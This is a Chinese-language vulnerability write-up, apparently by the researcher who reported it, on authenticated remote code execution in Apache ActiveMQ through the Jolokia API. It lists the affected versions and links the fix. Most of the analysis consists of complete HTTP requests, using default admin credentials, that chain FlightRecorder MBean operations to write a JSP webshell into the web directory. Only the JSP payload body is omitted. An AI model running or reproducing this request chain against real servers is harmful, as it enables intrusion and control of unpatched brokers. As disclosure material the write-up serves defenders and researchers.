ActiveMQ中,经过身份验证的用户默认情况下可以通过/api/jolokia/
接口操作MBean,其中FlightRecorder可以被用于写Jsp WebShell,从而造成远程代码执行漏洞
FlightRecorder存在于Jdk 11+,具体类名:jdk.management.jfr.FlightRecorderMXBeanImpl
这个漏洞是我去年通过微步的X漏洞奖励计划提交的,今天看到已经被修复和公开了,就顺便写一下分析文章
影响范围
- Apache ActiveMQ before 5.16.6
- Apache ActiveMQ 5.17.0 before 5.17.4
- Apache ActiveMQ 5.18.0 unaffected
- Apache ActiveMQ 6.0.0 unaffected
漏洞分析
原理
漏洞入口在 http://localhost:8161/api/jolokia/ ,注意需要带上Origin头才可以访问
主要问题出在FlightRecorder这个Mbean,功能是记录内存,gc,调用栈等,漏洞用到的方法主要是以下几个
- newRecording
- setConfiguration
- startRecording
- stopRecording
- copyTo
漏洞思路是通过setConfiguration修改配置,把一些键名改成jsp代码,记录的数据就会包含该jsp代码,录制完成后,通过copyTo导出到web目录即可
代码位置在 jdk.management.jfr.FlightRecorderMXBeanImpl#setConfiguration
拿到默认配置
调用setPredefinedConfiguration,断点停下来后可以拿到默认的配置,先保存下来
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST /api/jolokia/ HTTP/1.1 Host: localhost:8161 Origin:localhost:8161 Authorization: Basic YWRtaW46YWRtaW4= Connection: close Content-Type: application/json Content-Length: 155
{ "type": "EXEC", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "setPredefinedConfiguration", "arguments": [1,"s"] }
|
新建记录
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST /api/jolokia/ HTTP/1.1 Host: localhost:8161 Origin:localhost:8161 Authorization: Basic YWRtaW46YWRtaW4= Connection: close Content-Type: application/json Content-Length: 136
{ "type": "EXEC", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "newRecording", "arguments": [] }
|
记录的id 为 1,后面poc都要使用这个id
更改配置
将默认配置的如下处改为jsp代码,特殊字符需要实体编码
如下 arguments 的第一位参数是记录id,第二个参数是配置内容(很长,已省略)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST /api/jolokia/ HTTP/1.1 Host: localhost:8161 Origin:localhost:8161 Authorization: Basic YWRtaW46YWRtaW4= Connection: close Content-Type: application/json Content-Length: 31263
{ "type": "EXEC", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "setConfiguration", "arguments": [1,"..."] }
|
导出录制到web目录
开始录制
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST /api/jolokia/ HTTP/1.1 Host: localhost:8161 Origin:localhost:8161 Authorization: Basic YWRtaW46YWRtaW4= Connection: close Content-Type: application/json Content-Length: 141
{ "type": "EXEC", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "startRecording", "arguments": [1] }
|
结束录制
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST /api/jolokia/ HTTP/1.1 Host: localhost:8161 Origin:localhost:8161 Authorization: Basic YWRtaW46YWRtaW4= Connection: close Content-Type: application/json Content-Length: 138
{ "type": "EXEC", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "stopRecording", "arguments": [1] }
|
导出到web目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST /api/jolokia/ HTTP/1.1 Host: localhost:8161 Origin:localhost:8161 Authorization: Basic YWRtaW46YWRtaW4= Connection: close Content-Type: application/json Content-Length: 159
{ "type": "EXEC", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "copyTo", "arguments": [1,"../webapps/admin/test.jsp"] }
|
访问webshell
http://localhost:8161/admin/test.jsp
漏洞修复
https://github.com/apache/activemq/commit/6120169e5